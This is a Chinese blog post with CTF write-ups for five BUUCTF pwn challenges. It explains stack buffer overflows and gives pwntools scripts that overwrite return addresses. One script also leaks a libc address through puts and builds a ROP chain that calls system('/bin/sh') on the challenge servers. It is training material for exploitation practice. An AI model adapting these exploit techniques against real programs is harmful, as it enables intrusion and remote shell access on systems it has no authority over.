BUUCTF PWN部分题目wp

pwn好难啊

PWN

1,连上就有flag的pwn
nc buuoj.cn 6000得到flag

2,RIP覆盖一下
用ida分析一下,
在这里插入图片描述
发现已有了system,只需覆盖RIP为fun()的地址,用peda计算偏移为23,写脚本

 
from pwn import*
sh=remote('f.buuoj.cn',6001)
payload='a'*23+p64(0x401186)
sh.sendline(payload)
sh.interactive()

 

得到flag

3,warmup_csaw_2016

先拖进ida

找到了system地址

下载libc.so

用peda

找到ebp位置,需覆盖64+8字节,写脚本

from pwn import*
#sh=process('/home/harmonica/Desktop/warmup_csaw_2016.dms' )
sh=remote('pwn.buuoj.cn',20035)
payload='a'*72+p64(0x40060D)
sh.sendline(payload)
sh.interactive()

得到flag

 4,ciscn_2019_c_1

栈溢出,查看保护

 

经过分析,需覆盖0x58字节,本来这题想不用给的libc,但用LibcSearcher找不到这个libc,还是去下了一份

查到/bin/sh位置

 

写脚本

from pwn import *
from LibcSearcher import LibcSearcher

sh=remote('pwn.buuoj.cn',20115)
#sh=process('/home/harmonica/Desktop/ciscn_2019_c_1.dms')
ciscn=ELF('/home/harmonica/Desktop/ciscn_2019_c_1.dms')
libc=ELF('/home/harmonica/Desktop/x64_libc.so.6')

def send(content):
    sh.recvuntil('Input your choice!\n')
    sh.sendline('1')
    sh.recvuntil('Input your Plaintext to be encrypted\n')
    sh.sendline(content)

puts_plt=ciscn.plt['puts']
puts_got=ciscn.got['puts']
main=ciscn.symbols['main']
pop_rdi=0x400c83


payload ='A' * 0x58+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
send(payload)

sh.recvuntil('@\n')
puts_addr=u64(sh.recv(6).ljust(8,'\x00'))
#libc=LibcSearcher('puts', puts_addr)
libcbase=puts_addr-libc.sym['puts']
log.success("libcbase: "+hex(libcbase))

system_addr=libcbase+libc.sym['system']
binsh_addr=libcbase+0x18cd57

payload ='A'*0x58+p64(pop_rdi)+p64(binsh_addr)+p64(system_addr)
send(payload)

sh.interactive()

得到flag

5, pwn1_sctf_2016

拖进ida,c++程序,找到主函数

 

 程序中带了system

运行程序

 

当输入'I'时会转换为‘you’

fgets溢出,写exp

from pwn import *

sh=remote('pwn.buuoj.cn',20086)
get_flag=0x08048F0D

payload='I'*0x14+'a'*4+p32(get_flag)
sh.sendline(payload)

sh.interactive()

 

 得到flag

 

 

posted @ 2019-08-16 18:26  Harmonica11  阅读(6168)  评论(6编辑  收藏  举报